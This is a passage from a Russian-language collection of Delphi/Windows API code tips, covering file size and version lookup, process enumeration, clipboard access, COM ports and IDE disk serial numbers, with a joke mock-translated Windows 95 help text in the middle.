      Exit;
    Domain := DomainName;
    Username := OwnerName;
  finally
    FreeMem(SecDescr);
    FreeMem(OwnerName);
    FreeMem(DomainName);
  end;
  GetFileOwner := True;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
  Domain, Username: string;
begin
  GetFileOwner('YourFile.xyz', domain, username);
  ShowMessage(username + '@' + domain);
end;
// Note: Only works unter NT.

Получение размера файла.

Автор: Eric Nielsen

Вот мой код, которым я пользуюсь для определения информации о группе файлов:

var
  Fhnd2: file;
  sPath: string;
  tpath: string;
  SearchRec: TSearchRec;
  tempsearch: string;
  tempfiles: Integer;
  tempbytes: LongInt;
  wBytes: Word;
  sTemp: string;
  iLen: Integer;
  szString: array[0..128] of Char;
  ec: integer;
begin
  {* Выбираем системный каталог *}
  MailManLogS('Запуск MailMan');
  sTemp := ParamStr(0);
  iLen := Length(sTemp);
  while sTemp[iLen] <> '\' do
    DEC(iLen);
  StrPCopy(szString, sTemp);
  szString[iLen] := #0;
  SysDir := StrPas(szString);
  tempbytes := 0;
  tempfiles := 0;
  Files2bProc := 0;
  Bytes2bProc := 0;
  MailManLogS('Калькулируем файлы для обработки');
  {* Подсчитываем, сколько файлов и байт должны быть обработаны *}
  tempsearch := SysDir + 'spool\witchcrf\d\*.*';
  ec := FindFirst(tempsearch, faSysFile, SearchRec);
  while ec = 0 do
  begin
    if ((SearchRec.Name <> '.') and (SearchRec.Name <> '..')) then
    begin
      tempfiles := tempfiles + 1;
      - - - - > tempbytes := tempbytes + SearchRec.Size;
      < - - - - - -
      TotalInBytes.Text := IntToStr(tempbytes);
      TotalInFiles.Text := IntToStr(tempfiles);
      MailManLogS('Файл-' + SearchRec.Name + '     Размер-' +
        IntToStr(SearchRec.Size));
    end;
    ec := FindNext(SearchRec);
  end;
  MailManLogS('Всего файлов = ' + IntToStr(tempfiles) + '        Байт = ' +
    IntToStr(tempbytes));
end;
В коде могут присутствовать синтаксические ошибки, т.к. я просто вырезал этот код из своей программы, чтобы показать как работает функция FindFirst. Она должна возвращать информацию о файле в SearchRec, который будет содержать любую необходимую вам информацию о файле. Я думаю это то, что вам нужно, при этом нет необходимости даже открывать файл.

Я все это делал с использованием FindFirst. Функция возвращает запись, имеющую тип TSearchRec. Данная запись содержит переменную Size, которая содержит размер файла в байтах. Это может быть не так красиво, но это работает:

function GetFileSize(FileName: string): Longint;
var
  SearchRec: TSearchRec;
begin
  if FindFirst(FileName, faAnyFile, SearchRec) = 0 then
    Result:=SearchRec.Size
  else
    Result:=-1; {возвращаем ошибку, это может быть число меньше нуля}
end;

В зависимости от предпочтений, можно выбрать одну из двух приведенных ниже функций. В первой реализуется идея временного изменения атрибутов файла, необходимого для его чтения. Вторая использует Windows API, но не содержит средств проверки наличия ошибок.

function FileGetSize1(Filename: string): LongInt;
var
  F: file;
  OldFileAttr: Integer;
begin
  if FileExists(Filename) then
  begin
    OldFileAttr := FileGetAttr(Filename);
    FileSetAttr(Filename, OldFileAttr and (faReadOnly xor $FFFF));
    try
      AssignFile(F, Filename);
      Reset(F, 1);
      Result := FileSize(F);
      CloseFile(F);
    finally
      FileSetAttr(Filename, OldFileAttr);
    end;
  end
  else
    Result := 0;
end;
function FileGetSize2(Filename: string): LongInt;
var
  FileHandle: Integer;
begin
  if FileExists(Filename) then
  begin
    FileName := FileName + chr(0);
    FileHandle := _lopen(@FileName[1], 0);
    Result := _llseek(FileHandle, 0, 2);
    _lclose(FileHandle);
  end
  else
    Result := 0;
end;

Я не стал возиться с AssignFile.

Function FileSizeInBytes(YourFile : String) : LongInt;
Var
  F: Integer;
Begin
  F:=FileOpen(YourFile,0);  { режим ReadOnly }
  FilesizeInBytes := FileSeek(F,0,2);
  FileClose(F)
End;

Примечание: Проверка ошибок отсутствует !!!

Как определить размер файла.

// Если файл не существует, то вместо размера файла функция верн¸т -1
function GetFileSize(FileName: String): Integer;
var
  FS: TFileStream;
begin
  try
    FS := TFileStream.Create(Filename, fmOpenRead);
  except
    Result := -1;
  end;
  if Result <> -1 then Result := FS.Size;
  FS.Free;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
  ShowMessage(IntToStr(GetFileSize('c:\prova.pdf')));
end;

Как определить размер файла 2.

Автор: Andrey.

function GetFileSize(namefile: string): Integer;
var
  InfoFile: TSearchRec;
  AttrFile: Integer;
  ErrorReturn: Integer;
begin
  AttrFile := $0000003F; {Any file}
  ErrorReturn := FindFirst(namefile, AttrFile, InfoFile);
  if ErrorReturn <> 0 then
    Result := -1 {в случае, если файл не найден}
  else
    Result := InfoFile.Size; {Размер файла в байтах}
  FindClose(InfoFile);
end;

Как определить размер файла 3.

function GetFileSizeByName(FileName: String): Integer;
var
  FindData: TWin32FindData;
  hFind: THandle;
begin
  Result := -1;
  hFind := FindFirstFile(PChar(FileName), FindData);
  if hFind <> INVALID_HANDLE_VALUE then
  begin
    Windows.FindClose(hFind);
    if (FindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then
      Result := FindData.nFileSizeLow;
  end;
end;

Получить размер файла.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

function Get_File_Size1(sFileToExamine: string; bInKBytes: Boolean): string;
 { 
 for some reason both methods of finding file size return 
 a filesize that is slightly larger than what Windows File 
 Explorer reports 
}
 var
   FileHandle: THandle;
   FileSize: LongWord;
   d1: Double;
   i1: Int64;
 begin
   //a- Get file size 
  FileHandle := CreateFile(PChar(sFileToExamine),
     GENERIC_READ,
     0, {exclusive}
     nil, {security}
     OPEN_EXISTING,
     FILE_ATTRIBUTE_NORMAL,
     0);
   FileSize   := GetFileSize(FileHandle, nil);
   Result     := IntToStr(FileSize);
   CloseHandle(FileHandle);
   //a- optionally report back in Kbytes 
  if bInKbytes = True then
   begin
     if Length(Result) > 3 then
     begin
       Insert('.', Result, Length(Result) - 2);
       d1     := StrToFloat(Result);
       Result := IntToStr(round(d1)) + 'KB';
     end
     else
       Result := '1KB';
   end;
 end;
 {****************************************************************************** 
Thanks to Advanced Delphi Systems here's another method which works just as 
well returning the same results 
*******************************************************************************}
 function Get_File_Size2(sFileToExamine: string; bInKBytes: Boolean): string;
 var
   SearchRec: TSearchRec;
   sgPath: string;
   inRetval, I1: Integer;
 begin
   sgPath := ExpandFileName(sFileToExamine);
   try
     inRetval := FindFirst(ExpandFileName(sFileToExamine), faAnyFile, SearchRec);
     if inRetval = 0 then
       I1 := SearchRec.Size
     else
       I1 := -1;
   finally
     SysUtils.FindClose(SearchRec);
   end;
   Result := IntToStr(I1);
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   if OpenDialog1.Execute then
     label1.Caption := Get_File_Size(Opendialog1.FileName, True);
 end;
 {*******************************************************************************}
 function Get_File_Size3(const FileName: string): TULargeInteger;
 // by nico 
var
   Find: THandle;
   Data: TWin32FindData;
 begin
   Result.QuadPart := -1;
   Find := FindFirstFile(PChar(FileName), Data);
   if (Find <> INVALID_HANDLE_VALUE) then
   begin
     Result.LowPart  := Data.nFileSizeLow;
     Result.HighPart := Data.nFileSizeHigh;
     Windows.FindClose(Find);
   end;
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   if (OpenDialog1.Execute) then
     ShowMessage(IntToStr(Get_File_Size3(OpenDialog1.FileName).QuadPart));
 end;
 {*******************************************************************************}
 function Get_File_Size4(const S: string): Int64;
 var
   FD: TWin32FindData;
   FH: THandle;
 begin
   FH := FindFirstFile(PChar(S), FD);
   if FH = INVALID_HANDLE_VALUE then Result := 0
   else
     try
       Result := FD.nFileSizeHigh;
       Result := Result shl 32;
       Result := Result + FD.nFileSizeLow;
     finally
       CloseHandle(FH);
     end;
 end;

Как перед скачиванием узнать размер файла.

Приходит юзер к провайдерам и говорит. - У Вас маршрут на Москву не работает. - А откуда Вы знаете?...
GetUrlInfo(HTTP_QUERY_CONTENT_LENGTH, 'http://some.com/some.zip');
function GetUrlInfo(const dwInfoLevel: DWORD; const FileURL: string): 
string;
var
  hSession, hFile: hInternet;
  dwBuffer: Pointer;
  dwBufferLen, dwIndex: DWORD;
begin
  Result := '';
  hSession := InternetOpen('STEROID Download',
                           INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
  if Assigned(hSession) then begin
    hFile := InternetOpenURL(hSession, PChar(FileURL), nil, 0,
                             INTERNET_FLAG_RELOAD, 0);
    dwIndex  := 0;
    dwBufferLen := 20;
    if HttpQueryInfo(hFile, dwInfoLevel, @dwBuffer, dwBufferLen, dwIndex)
      then Result := PChar(@dwBuffer);
    if Assigned(hFile) then InternetCloseHandle(hFile);
    InternetCloseHandle(hsession);
  end;
end;

Получение информации о версии файла.

Автор: Gua WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение информации о версии файла
Зависимости:
Автор:       Gua, fbsdd@ukr.net, ICQ:141585495, Simferopol
Copyright:
Дата:        05 мая 2002 г.
***************************************************** }
{$B-,R-}
function GetFileVersion(const FileName: string): string;
type
  PDWORD = ^DWORD;
  PLangAndCodePage = ^TLangAndCodePage;
  TLangAndCodePage = packed record
    wLanguage: WORD;
    wCodePage: WORD;
  end;
  PLangAndCodePageArray = ^TLangAndCodePageArray;
  TLangAndCodePageArray = array[0..0] of TLangAndCodePage;
var
  loc_InfoBufSize: DWORD;
  loc_InfoBuf: PChar;
  loc_VerBufSize: DWORD;
  loc_VerBuf: PChar;
  cbTranslate: DWORD;
  lpTranslate: PDWORD;
  i: DWORD;
begin
  Result := '';
  if (Length(FileName) = 0) or (not Fileexists(FileName)) then
    Exit;
  loc_InfoBufSize := GetFileVersionInfoSize(PChar(FileName), loc_InfoBufSize);
  if loc_InfoBufSize > 0 then
  begin
    loc_VerBuf := nil;
    loc_InfoBuf := AllocMem(loc_InfoBufSize);
    try
      if not GetFileVersionInfo(PChar(FileName), 0, loc_InfoBufSize, loc_InfoBuf)
        then
        exit;
      if not VerQueryValue(loc_InfoBuf, '\\VarFileInfo\\Translation',
        Pointer(lpTranslate), DWORD(cbTranslate)) then
        exit;
      for i := 0 to (cbTranslate div SizeOf(TLangAndCodePage)) - 1 do
      begin
        if VerQueryValue(
          loc_InfoBuf,
          PChar(Format(
          'StringFileInfo\0%x0%x\FileVersion', [
          PLangAndCodePageArray(lpTranslate)[i].wLanguage,
            PLangAndCodePageArray(lpTranslate)[i].wCodePage])),
            Pointer(loc_VerBuf),
          DWORD(loc_VerBufSize)
          ) then
        begin
          Result := loc_VerBuf;
          Break;
        end;
      end;
    finally
      FreeMem(loc_InfoBuf, loc_InfoBufSize);
    end;
  end;
end;

Определить букву первого CD-ROM.

function GetFirstCDROM: string;
{возвращает букву 1-го привода CD-ROM или пустую строку}
var
  w: dword;
  Root: string;
  i: integer;
begin
  w := GetLogicalDrives;
  Root := '#:\';
  for i := 0 to 25 do
  begin
    Root[1] := Char(Ord('A') + i);
    if (W and (1 shl i)) > 0 then
      if GetDriveType(Pchar(Root)) = DRIVE_CDROM then
      begin
        Result := Root[1];
        exit;
      end;
  end;
  Result := '';
end;

Как получить дескриптор текущего окна.

HWND GetForegroundWindow(VOID);

Получить имена свободных com портов.

Для начала подключите модуль Registry в области uses. Затем на форму нужно будет вынести кнопку и многострочное текстовое поле класса TMemo. Ну и по нажатию на кнопку написать следующий код:

procedure TForm1.Button1Click(Sender: TObject);
var
  reg: TRegistry;
  st: TStrings;
  i: integer;
begin
  reg := TRegistry.Create;
  reg.RootKey := HKEY_LOCAL_MACHINE;
  reg.OpenKey('hardware\devicemap\serialcomm', false);
  st := TStringList.Create;
  reg.GetValueNames(st);
  for i := 0 to st.Count - 1 do
    Memo1.Lines.Add(reg.ReadString(st.Strings[i]));
  st.Free;
  reg.CloseKey;
  reg.free;
end;

Получение текста из буфера обмена без использования модуля Clipbrd.

Автор: Dimka Maslov WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение текста из буфера обмена без использования модуля Clipbrd
Wnd - Handle окна, получающего доступ к буферу обмена;
Str - строка, в которую будет скопирован текст;
Зависимости: Windows
Автор:       Dimka Maslov, mainbox@endimus.ru, ICQ:148442121, Санкт-Петербург
Copyright:   Dimka Maslov
Дата:        22 августа 2002 г.
***************************************************** }
function GetClipboardText(Wnd: HWND; var Str: string): Boolean;
var
  hData: HGlobal;
begin
  Result := True;
  if OpenClipboard(Wnd) then
  begin
    try
      hData := GetClipboardData(CF_TEXT);
      if hData <> 0 then
      begin
        try
          SetString(Str, PChar(GlobalLock(hData)), GlobalSize(hData));
        finally
          GlobalUnlock(hData);
        end;
      end
      else
        Result := False;
      Str := PChar(@Str[1]);
    finally
      CloseClipboard;
    end;
  end
  else
    Result := False;
end;

Пример использования:

function TForm1.Button2Click(Sender: TObject)
var
  Str: string;
begin
  GetClipboardText(Handle, Str);
  ShowMessage(Str);
end;

Получение OpenGL расширений.

Автор: Gua WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение OpenGL расширений
Зависимости: OpenGL
Автор:       Gua, gua@ukr.net, ICQ:141585495, Simferopol
Copyright:   Gua
Дата:        18 июля 2002 г.
***************************************************** }
function GetOGLExtensions: string;
var
  DC: HDC;
  hrc: HGLRC;
  {Установка формата пикселей}
  procedure SetDCPixelFormat;
  var
    DC: HDC;
    nPixelFormat: Integer;
    pfd: TPixelFormatDescriptor;
  begin
    FillChar(pfd, SizeOf(pfd), 0);
    nPixelFormat := ChoosePixelFormat(DC, @pfd);
    SetPixelFormat(DC, nPixelFormat, @pfd);
  end;
begin
  DC := GetDC(0);
  SetDCPixelFormat;
  hrc := wglCreateContext(DC);
  wglMakeCurrent(DC, hrc);
  Result := StrPas(PChar(glGetString(GL_EXTENSIONS)));
  wglMakeCurrent(0, 0);
  wglDeleteContext(hrc);
  ReleaseDC(0, DC);
  DeleteDC(DC);
end;

Пример использования:

MessageDlg(GetOGLExtensions,mtInformation,[mbOK],0); 

Получить доступ в определенной части GUID.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ Manchmal wird nur ein Teil einer GUID benotigt.... }
 { You maybe have to access  just a part of a GUID. }
 { Const for the function Format(...) }
 const
   fsGUID: string = 'D1: $%s'#13#10'D2: $%s'#13#10'D3: $%s'#13#10     +
     'D4: $%s $%s $%s $%s $%s $%s $%s $%s';
   fsGUIDParts: string = 'D%d:%s';
   // Type for the GUID part to be shown 
type
   TGUIDPART = (guidp_NoFormat, guidp_All, guidp_D1,
     guidp_D2, guidp_D3, guidp_D4);
 { This GUIDToStringEx function give you the full GUID string 
  according with then format string FStr (you can change it !!!) }
 function GUIDToStringEx(Guid: TGuid; FStr: string): string; overload;
 begin
   Result := Format(FStr,
     [IntToHex(GUID.D1, 8),
     IntToHex(GUID.D2, 4),
     IntToHex(GUID.D3, 4),
     IntToHex(GUID.D4[0], 2),
     IntToHex(GUID.D4[1], 2),
     IntToHex(GUID.D4[2], 2),
     IntToHex(GUID.D4[3], 2),
     IntToHex(GUID.D4[4], 2),
     IntToHex(GUID.D4[5], 2),
     IntToHex(GUID.D4[6], 2),
     IntToHex(GUID.D4[7], 2)
     ]);
 end;
 { This GUIDToStringEx function give you the part of the GUID 
  to be shown, according to the part type GUIDPart }
 function GUIDToStringEx(Guid: TGuid; Part: TGUIDPART): string; overload;
 var
   i: Integer;
   S: string;
 begin
   S := '';
   case Part of
     guidp_NoFormat: S := GUIDToString(Guid);
     guidp_All:      S := GUIDToStringEx(Guid, fsGUID);
     guidp_D1:       S := Format(fsGUIDParts, [1, ' $' + IntToHex(GUID.D1, 8)]);
     guidp_D2:       S := Format(fsGUIDParts, [2, ' $' + IntToHex(GUID.D2, 4)]);
     guidp_D3:       S := Format(fsGUIDParts, [3, ' $' + IntToHex(GUID.D3, 4)]);
     guidp_D4:
        begin
         for i := 0 to 7 do S := S + ' $' + IntToHex(GUID.D4[i], 2);
         S := Format(fsGUIDParts, [4, S]);
       end;
     else
        S := '?';
   end;
   Result := S;
 end;
 { How to use the different GUIDToStringEx functions }
 procedure TForm1.Button1Click(Sender: TObject);
 var
   NewGUID: TGUID;
 begin
   { Create a new GUID }
   NewGUID := StringToGUID(CreateClassID);
   { Standard formated GUID string }
   label1.Caption := GUIDToStringEx(NewGUID, guidp_NoFormat) +
     #13#10+
    { Full formated GUID string acc. with fsGUID}
     GUIDToStringEx(NewGUID, fsGUID) +
     #13#10+
    { Full formated GUID string with default formating}
     GUIDToStringEx(NewGUID, guidp_All) +
     #13#10+
    { Part D3 of the GUID only }
     GUIDToStringEx(NewGUID, guidp_D3);
 end;

Как получить хэндлы всех процессов, которые запущены на данный момент в системе.

Под Windows 95 это возможно с использованием вспомогательных информационных функций (tool help functions). Для получения списка процессов надо делать следующее:

// Получение снимка состояния системы
hSnapshot := CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS, 0);
// Получене информации о первом процессе в списке
Process32First();
// Получение информации о следующем процессе в списке
Далее в цикле Process32Next();
unit KernlUtl;
interface
uses
  TlHelp32, Windows, Classes, Sysutils;
  procedure GetProcessList(List: TStrings);
  procedure GetModuleList(List: TStrings);
  function GetProcessHandle(ProcessID: DWORD): THandle;
  procedure GetParentProcessInfo(var ID: DWORD; var Path: string);
const
  PROCESS_TERMINATE = $0001;
  PROCESS_CREATE_THREAD = $0002;
  PROCESS_VM_OPERATION = $0008;
  PROCESS_VM_READ = $0010;
  PROCESS_VM_WRITE = $0020;
  PROCESS_DUP_HANDLE = $0040;
  PROCESS_CREATE_PROCESS = $0080;
  PROCESS_SET_QUOTA = $0100;
  PROCESS_SET_INFORMATION = $0200;
  PROCESS_QUERY_INFORMATION = $0400;
  PROCESS_ALL_ACCESS =
  STANDARD_RIGHTS_REQUIRED or SYNCHRONIZE or $0FFF;
implementation
procedure GetProcessList(List: TStrings);
var
  I: Integer;
  hSnapshoot: THandle;
  pe32: TProcessEntry32;
begin
  List.Clear;
  hSnapshoot := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  if (hSnapshoot = -1) then
    Exit;
  pe32.dwSize := SizeOf(TProcessEntry32);
  if (Process32First(hSnapshoot, pe32)) then
    repeat
      I := List.Add(Format('%x, %x: %s',
      [pe32.th32ProcessID, pe32.th32ParentProcessID, pe32.szExeFile]));
      List.Objects[I] := Pointer(pe32.th32ProcessID);
    until
      not Process32Next(hSnapshoot, pe32);
  CloseHandle (hSnapshoot);
end;
procedure GetModuleList(List: TStrings);
var
  I: Integer;
  hSnapshoot: THandle;
  me32: TModuleEntry32;
begin
  List.Clear;
  hSnapshoot := CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, 0);
  if (hSnapshoot = -1) then
    Exit;
  me32.dwSize := SizeOf(TModuleEntry32);
  if (Module32First(hSnapshoot, me32)) then
    repeat
      I := List.Add(me32.szModule);
      List.Objects[I] := Pointer(me32.th32ModuleID);
    until
      not Module32Next(hSnapshoot, me32);
  CloseHandle (hSnapshoot);
end;
procedure GetParentProcessInfo(var ID: DWORD; var Path: string);
var
  ProcessID: DWORD;
  hSnapshoot: THandle;
  pe32: TProcessEntry32;
begin
  ProcessID := GetCurrentProcessID;
  ID := -1;
  Path := '';
  hSnapshoot := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  if (hSnapshoot = -1) then
    Exit;
  pe32.dwSize := SizeOf(TProcessEntry32);
  if (Process32First(hSnapshoot, pe32)) then
    repeat
      if pe32.th32ProcessID = ProcessID then
      begin
        ID := pe32.th32ParentProcessID;
        Break;
      end;
    until
      not Process32Next(hSnapshoot, pe32);
  if ID <> -1 then
  begin
    if (Process32First(hSnapshoot, pe32)) then
      repeat
        if pe32.th32ProcessID = ID then
        begin
          Path := pe32.szExeFile;
          Break;
        end;
      until
        not Process32Next(hSnapshoot, pe32);
  end;
  CloseHandle (hSnapshoot);
end;
function GetProcessHandle(ProcessID: DWORD): THandle;
begin
  Result := OpenProcess(PROCESS_ALL_ACCESS, True, ProcessID);
end;
end.

Получить Handle и имя класса окна под мышкой.

Перевод куска текста к "хелпу" Win'95 без основного словаря переводчиком Poliglossum с медицинским, коммерческим и юридическим словарем). Microsoft компания получает много откликов после появления Окон 95. Мы выявили, что много пользователей встретили проблему мыши. В этом документе Служба Техничного Упора Microsoft компании сводит вместе всю полезную информацию о возможных проблемах с мышами и гуртовщиками мыши и забота-стреляние. Если вы только что закрепили себе Окна 95, вы можете увидеть, что ваша мышь плохо себя ведет. Курсор может не двигаться или движение мыши может проявлять странные следы на поверхности стола, окнах и обоях. Мышь может неадекватно реагировать на щелчок по почкам. Но не спешите! Это могут быть физические проблемы, а не клоп Окон 95. Почистите вашу мышь. Отсоедините ее поводок от компьютера, вытащите гениталий и промойте его и ролики внутренностей спиртом. Снова зашейте мышь. Проверьте на переломы поводка. Подсоедините мышь к компьютеру. Приглядитесь к вашей прокладке (подушке) - она не должна быть источником мусора и пыли в гениталии и роликах. Поверхность прокладки не должна стеснять движения мыши. Может быть вам стоит купить новую мышь. Мы настоятельно рекомендуем Microsoft мышь. Она эргономично спроектирована, особо сделана под Окна 95 и имеет третью почку в виде колеса, которые могут завивать окна. Совокупление Microsoft мыши и Окон 95 делает вашу повседневную работу легко приятной. Испытайте все это. Если проблемы остались - ваш гуртовщик мыши плохо стоит под Окнами 95. Его придется убрать. Вам нужен новый гуртовщик мыши. Если вы пользователь Microsoft мыши посетите Microsoft Слугу Паутины, где в особом подвале вы сможете опустить-загрузить самого текущего гуртовщика Microsoft мыши. Если производитель вашей мыши другой, узнайте о ее гуртовщике. Все основные производители мыши уже имеют гуртовщиков мыши для Окон 95. Перед тем как вы будете закреплять гуртовщика мыши, сделайте заднюю-верхнюю копию ваших досье. Почистить ваш винчестер имеет смысл. У вас должен быть старт-вверх диск от Окон 95. После того, как вы закрепили нового гуртовщика, скорее всего ваши проблемы решены. Если они остались, напишите в Службу Техничного Упора Microsoft, и вашим случаем займется Особый Отдел. Для эффективной помощи техничного упора, наш инженер должен знать торговую марку вашей мыши, тип (в-портовая мышь, периодическая мышь, автобусная мышь, Полицейский Участок /2 мышь, без поводка мышь, гениталий на гусеничном ходу и т. п.), версию гуртовщика, производителя компьютера (матери-доски), положение портов и рубильников на матери-доске (и расклад карт), а также содержимое досье Авто-#####.bat, config.sys и Сапог-полено.txt. Кроме того, несколько полезных советов: 1) Не закрепляйте себе Окна 95 в то же самое место, где у вас закреплены Окна 3. икс, вы не сможете хорошо делать кое-что привычное. 2) Если вы новичок под Окнами 95, привыкните к новым возможностям мыши. Щелкните по левой почке - выделите пункт, ударьте по правой почке меню с контекстом всплывет, быстро ударьте два раза по левой почке - запустите повестку в суд. 4) Отработайте быстрый двойной удар по почкам мыши с помощью специального тренажера на пульте управления Окнами 95. 6) Специалисты Microsoft компании после большого числа опытов выявили, что наиболее эффективной командой из-под Окон 95 является "Послать на...", которая доступна в любом времени и месте при ударе по правой почке мыши. Если вы только что закрепили себе окна 95, вы сумеете послать только на А (Б) и в специальное место "Мой портфель". Но по мере того как вы будете закреплять себе новые программы для Окон 95, вы начнете посылать на все более сложные и интересные места и объекты. Особую эффективность команда "Послать на..." приобретет при передачи посланий через Е-почту и общение с вашими коллегами и друзьями в местной сети-работе. Попробуйте мощь команды "Послать на...", и вы быстро убедитесь, что без нее трудно существовать под Окнами 95. Пишите нам и помните, что Microsoft компания всегда думает о том, как ВАС ЛУЧШЕ СДЕЛАТЬ.
type 
  TForm1 = class(TForm) 
    Label1: TLabel; 
    Label2: TLabel; 
    Timer1: TTimer; 
    procedure Timer1Timer(Sender: TObject); 
    procedure FormCreate(Sender: TObject); 
  private 
    procedure ShowHwndAndClassName(CrPos: TPoint); 
  public 
end; 
var 
  Form1: TForm1; 
implementation 
{$R *.DFM} 
procedure TForm1.Timer1Timer(Sender: TObject); 
var 
  rPos: TPoint; 
begin 
  if Boolean(GetCursorPos(rPos)) then ShowHwndAndClassName(rPos); 
end; 
procedure TForm1.ShowHwndAndClassName(CrPos: TPoint); 
var 
  hWnd: THandle; 
  aName: array [0..255] of Char; 
begin 
  hWnd := WindowFromPoint(CrPos); 
  Label1.Caption := 'Handle :  ' + IntToStr(hWnd); 
  if Boolean(GetClassName(hWnd, aName, 256)) then 
    Label2.Caption := 'ClassName :  ' + string(aName) 
  else 
    Label2.Caption := 'ClassName :  not found'; 
end; 
procedure TForm1.FormCreate(Sender: TObject); 
begin 
  Form1.FormStyle := fsStayOnTop; 
  Timer1.Interval := 50; 
end;

Поличение серийного номера IDE диска.

Автор: Alex Konshin WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Поличение серийного номера IDE диска.
Функция получает серийный номер первого физического диска IDE (не серийный номер тома!).
Используется S.M.A.R.T. API, а под Windows NT/2K/XP запрос производится не напрямую к диску,
а через miniport драйвер контроллера, что позволяет читать серийный номер не имея прав администратора.
Функция может не работать, если первый контролер в системе не ATA или если первое устройство
не является винчестером, который поддерживает SMART (современные винчестеры поддерживают).
Если Вы хотите получить другие параметры диска/других дисков, то смотрите пример IdeInfo2 с моего сайта.
На Windows 9x требует наличия драйвера smartvsd.vxd (должен быть в стандартной поставке),
просто скопируйте его в \windows\system\iosubsys и перезагрузите компьютер.
Зависимости: Windows, SysUtils
Автор:       Alex Konshin, akonshin@earthlink.net, Boston, USA
Copyright:   http://home.earthlink.net/~akonshin/index.htm
Дата:        30 декабря 2002 г.
***************************************************** }
function GetIdeDiskSerialNumber: string;
type
  TSrbIoControl = packed record
    HeaderLength: ULONG;
    Signature: array[0..7] of Char;
    Timeout: ULONG;
    ControlCode: ULONG;
    ReturnCode: ULONG;
    Length: ULONG;
  end;
  SRB_IO_CONTROL = TSrbIoControl;
  PSrbIoControl = ^TSrbIoControl;
  TIDERegs = packed record
    bFeaturesReg: Byte; // Used for specifying SMART "commands".
    bSectorCountReg: Byte; // IDE sector count register
    bSectorNumberReg: Byte; // IDE sector number register
    bCylLowReg: Byte; // IDE low order cylinder value
    bCylHighReg: Byte; // IDE high order cylinder value
    bDriveHeadReg: Byte; // IDE drive/head register
    bCommandReg: Byte; // Actual IDE command.
    bReserved: Byte; // reserved for future use. Must be zero.
  end;
  IDEREGS = TIDERegs;
  PIDERegs = ^TIDERegs;
  TSendCmdInParams = packed record
    cBufferSize: DWORD; // Buffer size in bytes
    irDriveRegs: TIDERegs; // Structure with drive register values.
    bDriveNumber: Byte; // Physical drive number to send command to (0,1,2,3).
    bReserved: array[0..2] of Byte; // Reserved for future expansion.
    dwReserved: array[0..3] of DWORD; // For future use.
    bBuffer: array[0..0] of Byte; // Input buffer.
  end;
  SENDCMDINPARAMS = TSendCmdInParams;
  PSendCmdInParams = ^TSendCmdInParams;
  TIdSector = packed record
    wGenConfig: Word;
    wNumCyls: Word;
    wReserved: Word;
    wNumHeads: Word;
    wBytesPerTrack: Word;
    wBytesPerSector: Word;
    wSectorsPerTrack: Word;
    wVendorUnique: array[0..2] of Word;
    sSerialNumber: array[0..19] of Char;
    wBufferType: Word;
    wBufferSize: Word;
    wECCSize: Word;
    sFirmwareRev: array[0..7] of Char;
    sModelNumber: array[0..39] of Char;
    wMoreVendorUnique: Word;
    wDoubleWordIO: Word;
    wCapabilities: Word;
    wReserved1: Word;
    wPIOTiming: Word;
    wDMATiming: Word;
    wBS: Word;
    wNumCurrentCyls: Word;
    wNumCurrentHeads: Word;
    wNumCurrentSectorsPerTrack: Word;
    ulCurrentSectorCapacity: ULONG;
    wMultSectorStuff: Word;
    ulTotalAddressableSectors: ULONG;
    wSingleWordDMA: Word;
    wMultiWordDMA: Word;
    bReserved: array[0..127] of Byte;
  end;
  PIdSector = ^TIdSector;
const
  IDE_ID_FUNCTION = $EC;
  IDENTIFY_BUFFER_SIZE = 512;
  DFP_RECEIVE_DRIVE_DATA = $0007C088;
  IOCTL_SCSI_MINIPORT = $0004D008;
  IOCTL_SCSI_MINIPORT_IDENTIFY = $001B0501;
  DataSize = sizeof(TSendCmdInParams) - 1 + IDENTIFY_BUFFER_SIZE;
  BufferSize = SizeOf(SRB_IO_CONTROL) + DataSize;
  W9xBufferSize = IDENTIFY_BUFFER_SIZE + 16;
var
  hDevice: THandle;
  cbBytesReturned: DWORD;
  pInData: PSendCmdInParams;
  pOutData: Pointer; // PSendCmdInParams;
  Buffer: array[0..BufferSize - 1] of Byte;
  srbControl: TSrbIoControl absolute Buffer;
  procedure ChangeByteOrder(var Data; Size: Integer);
  var
    ptr: PChar;
    i: Integer;
    c: Char;
  begin
    ptr := @Data;
    for i := 0 to (Size shr 1) - 1 do
    begin
      c := ptr^;
      ptr^ := (ptr + 1)^;
      (ptr + 1)^ := c;
      Inc(ptr, 2);
    end;
  end;
begin
  Result := '';
  FillChar(Buffer, BufferSize, #0);
  if Win32Platform = VER_PLATFORM_WIN32_NT then
  begin // Windows NT, Windows 2000
    // Get SCSI port handle
    hDevice := CreateFile('\\.\Scsi0:', GENERIC_READ or GENERIC_WRITE,
      FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING, 0, 0);
    if hDevice = INVALID_HANDLE_VALUE then
      Exit;
    try
      srbControl.HeaderLength := SizeOf(SRB_IO_CONTROL);
      System.Move('SCSIDISK', srbControl.Signature, 8);
      srbControl.Timeout := 2;
      srbControl.Length := DataSize;
      srbControl.ControlCode := IOCTL_SCSI_MINIPORT_IDENTIFY;
      pInData := PSendCmdInParams(PChar(@Buffer) + SizeOf(SRB_IO_CONTROL));
      pOutData := pInData;
      with pInData^ do
      begin
        cBufferSize := IDENTIFY_BUFFER_SIZE;
        bDriveNumber := 0;
        with irDriveRegs do
        begin
          bFeaturesReg := 0;
          bSectorCountReg := 1;
          bSectorNumberReg := 1;
          bCylLowReg := 0;
          bCylHighReg := 0;
